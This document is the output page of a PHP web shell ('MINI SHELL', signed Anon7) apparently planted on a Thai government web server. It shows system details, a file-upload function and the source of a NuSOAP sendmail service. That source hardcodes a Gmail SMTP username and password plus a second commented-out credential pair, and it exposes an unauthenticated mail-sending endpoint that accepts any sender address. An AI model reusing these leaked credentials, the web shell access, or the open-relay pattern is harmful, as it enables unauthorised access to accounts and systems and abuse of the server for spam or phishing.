MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/mail_service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/mail_service/sendmail.service.php
<?php
header("content-type: text/html; charset=UTF-8");
require_once 'lib/nusoap.php';
require_once 'class.phpmailer.php';
  $server = new soap_server;
  
  $ns="urn:SapphireService";
  $server->configureWSDL('SapphireService', $ns);
  $server->wsdl->schemaTargetNamespace = $ns; 
    $server->register(                                                                                        
        'sendmail',                                                                                      
        array('title_name'=>'xsd:string','email_to'=>"xsd:string",'email_from'=>"xsd:string",'msgtext'=>"xsd:string"),
        array('status'=>'xsd:boolean','error'=>"xsd:string"),                                                                      
        'SapphireService',                                                                                         
        'SapphireService#sendmail',                                                                           
        'rpc',                                                                                                
        'encoded',                                                                                            
        'Returns an boolean'                                                              
    ); 
    $server->service(isset($HTTP_RAW_POST_DATA) ? $HTTP_RAW_POST_DATA : '');

function sendmail($title_name,$email_to,$email_from,$msgtext){
	global $PHP_SELF;
	
    
    $arr2=split(":",$email_from); 
    $from = array('email'=>"$arr2[0]",'name'=>"$arr2[1]");    
    $arr=split(",",$email_to);
    foreach ($arr as $index=>$val){
       $arr2=split(":",$val); 
       $to[] = array('email'=>"$arr2[0]",'name'=>"$arr2[1]");
    }   
	$subject = $title_name;//iconv('UTF-8', 'TIS-620',$title_name);   
    $host="smtp.gmail.com";
    $username = "service.sapphire@gmail.com";
    $password = "sapphire123";
   // $msg= "<head><title>$title_name</title></head><body>".ereg_replace(chr(13),"<br>", iconv('UTF-8', 'TIS-620',$msgtext))."</body></html>    ";
    $msg= "<head><title>$subject</title></head><body>".ereg_replace(chr(13),"<br>",$msgtext)."</body></html>    ";
   /* $host="mail.sapphire.co.th";
    $username = "sanit@sapphire.co.th";
    $password = "sanit";
    */
    
    $st=send_mail($subject,$to,$from,$msg,$username,$password,$host,'465','ssl');
    if($st==true){
       $st=true;  
    } else{
        $st=false;
        $err="$st";
    }  
    $para=array('status'=>$st,'error'=>"$err");     
    return  $para;  
}
function send_mail($subject,$email_to,$email_from,$msg,$username,$password,$host="mail.sapphire.co.th",$port="25",$ssl){
    $mail = new PHPMailer();
    $body = $msg;
    $mail->CharSet = "UTF-8";
    $mail->IsSMTP();
    $mail->SMTPDebug = 0;
    $mail->SMTPAuth = true;
    $mail->SMTPSecure=$ssl;
    $mail->Host = "$host"; // SMTP server
    $mail->Port = $port; // ¾ÍÃì·
    $mail->Username = "$username"; // account SMTP
    $mail->Password = "$password"; // ÃËÑʼèÒ¹ SMTP    
    
    $mail->SetFrom("$email_from[email]", "$email_from[name]");
    $mail->Subject = "$subject";

    $mail->MsgHTML($body);
    foreach($email_to as $index=>$val){
        $mail->AddAddress("$val[email]", "$val[name]"); // ¼ÙéÃѺ¤¹·Õè
    }    
    if(!$mail->Send()) {
        
        return $mail->ErrorInfo;
    } else {
        return true;
    }



}

?>

Anon7 - 2021